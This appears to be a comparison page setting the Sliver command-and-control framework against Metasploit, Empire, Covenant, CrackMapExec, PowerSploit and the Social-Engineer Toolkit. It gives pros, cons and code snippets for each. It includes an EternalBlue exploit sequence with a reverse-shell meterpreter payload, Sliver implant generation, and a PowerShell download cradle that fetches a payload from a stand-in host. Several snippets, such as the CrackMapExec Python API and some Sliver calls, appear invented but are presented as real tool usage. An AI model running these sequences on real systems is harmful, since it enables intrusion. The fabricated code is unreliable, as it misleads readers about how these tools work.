Pros of Metasploit-Framework

• Extensive library of exploits and modules
• Large community support and regular updates
• Well-documented and widely used in the industry

Cons of Metasploit-Framework

• Can be resource-intensive and slower to execute
• More complex to use for beginners
• Potentially easier to detect by antivirus software

Code Comparison

Metasploit-Framework (Ruby):

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

Sliver (Go):

generate --mtls 192.168.1.10 --os windows
implant --name win10 --os windows
use win10
shell

Sliver focuses on simplicity and stealth, while Metasploit-Framework offers a broader range of tools and exploits. Sliver's code is more concise and easier to use, but Metasploit-Framework provides more detailed control over exploits and payloads. Both tools have their strengths, with Metasploit-Framework being more comprehensive and Sliver being more lightweight and evasive.

Pros of Empire

• More extensive PowerShell-based capabilities for Windows environments
• Larger community and longer development history
• Broader range of built-in modules and post-exploitation tools

Cons of Empire

• Less focus on cross-platform support compared to Sliver
• May be more easily detected by modern antivirus solutions
• Slower development pace and less frequent updates

Code Comparison

Empire (PowerShell-centric):

$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$wc.DownloadString("http://example.com/payload")

Sliver (Go-based, cross-platform):

client := &http.Client{}
req, _ := http.NewRequest("GET", "http://example.com/payload", nil)
req.Header.Set("User-Agent", "Mozilla/5.0")
resp, _ := client.Do(req)

Both Empire and Sliver are powerful post-exploitation frameworks, but they cater to different needs. Empire excels in Windows environments with its PowerShell focus, while Sliver offers better cross-platform support and modern evasion techniques. Empire has a larger module library, but Sliver's active development and Go-based architecture provide better performance and stealth. The choice between them depends on the specific requirements of the penetration testing or red team engagement.

Pros of Covenant

• Built with .NET Core, offering cross-platform compatibility
• Extensive GUI for easier management and visualization
• Supports a wide range of built-in listeners and implants

Cons of Covenant

• Less actively maintained compared to Sliver
• May be more resource-intensive due to its GUI and .NET framework
• Potentially easier to detect due to its .NET-based implants

Code Comparison

Sliver (Go):

func (s *SliverServer) StartHTTPListener(port uint16) error {
    s.httpServer = &http.Server{
        Addr:    fmt.Sprintf(":%d", port),
        Handler: s.httpHandler(),
    }
    return s.httpServer.ListenAndServe()
}

Covenant (C#):

public async Task StartListener(int port)
{
    var listener = new HttpListener();
    listener.Prefixes.Add($"http://*:{port}/");
    listener.Start();
    while (true)
    {
        var context = await listener.GetContextAsync();
        // Handle request
    }
}

Both projects implement HTTP listeners, but Sliver uses Go's built-in HTTP server, while Covenant uses C#'s HttpListener class. Sliver's implementation is more concise, reflecting Go's simplicity, while Covenant's approach offers more granular control over the listening process.

Pros of CrackMapExec

• Specialized for Windows/Active Directory environments
• Extensive built-in modules for various post-exploitation tasks
• Supports multiple protocols (SMB, WMI, MSSQL, etc.)

Cons of CrackMapExec

• Limited cross-platform support (primarily Windows-focused)
• Less flexible for custom payload development
• Requires more manual interaction compared to Sliver's automation capabilities

Code Comparison

CrackMapExec example:

from crackmapexec import CME

cme = CME(target='192.168.1.0/24', username='admin', password='password')
cme.enum_shares()

Sliver example:

func main() {
    session := sliver.NewSession()
    session.RunCommand("ls -la")
    session.Upload("/path/to/file", "/remote/path")
}

Both tools offer powerful features for penetration testing and red team operations. CrackMapExec excels in Windows environments with its specialized modules, while Sliver provides a more versatile and cross-platform approach with its implant-based architecture. The choice between them depends on the specific requirements of the engagement and the target environment.

Pros of PowerSploit

• Extensive collection of PowerShell-based post-exploitation tools
• Well-established and widely recognized in the security community
• Integrates seamlessly with existing PowerShell environments

Cons of PowerSploit

• Less actively maintained compared to Sliver
• Limited cross-platform support (primarily Windows-focused)
• May be more easily detected by modern antivirus solutions

Code Comparison

PowerSploit (PowerView module):

Get-NetDomain
Get-NetUser
Get-NetComputer
Invoke-UserHunter
Find-LocalAdminAccess

Sliver:

func (s *Server) GetSessions(ctx context.Context, req *clientpb.Sessions) (*clientpb.Sessions, error)
func (s *Server) NewSession(ctx context.Context, req *clientpb.Session) (*clientpb.Session, error)
func (s *Server) DeleteSession(ctx context.Context, req *clientpb.Session) (*commonpb.Empty, error)

PowerSploit focuses on PowerShell-based reconnaissance and exploitation, while Sliver provides a more comprehensive C2 framework with cross-platform support. PowerSploit's code is centered around Windows-specific enumeration, whereas Sliver's code demonstrates session management capabilities across different platforms.

Pros of Social-Engineer-Toolkit

• Focused on social engineering attacks, providing a wide range of tools for phishing, spear-phishing, and other social engineering techniques
• User-friendly interface with menu-driven options, making it accessible for both beginners and experienced users
• Regularly updated with new attack vectors and techniques

Cons of Social-Engineer-Toolkit

• Limited in scope compared to Sliver, which offers a more comprehensive C2 framework
• Less flexibility in customizing payloads and post-exploitation modules
• Primarily designed for Linux systems, while Sliver supports multiple platforms

Code Comparison

Social-Engineer-Toolkit (Python):

# Main menu selection
if main_menu_choice == '1':
    webattack_menu = create_menu(text.webattack_text, text.webattack_menu)
    webattack_menu_choice = input(webattack_menu)

Sliver (Go):

// Command execution
func (s *Session) Execute(ctx context.Context, cmd string, args []string) ([]byte, error) {
    data, err := s.Request(ctx, &sliverpb.ExecuteReq{
        Request: &commonpb.Request{},
        Path:    cmd,
        Args:    args,
    })
    // ... (error handling and response processing)
}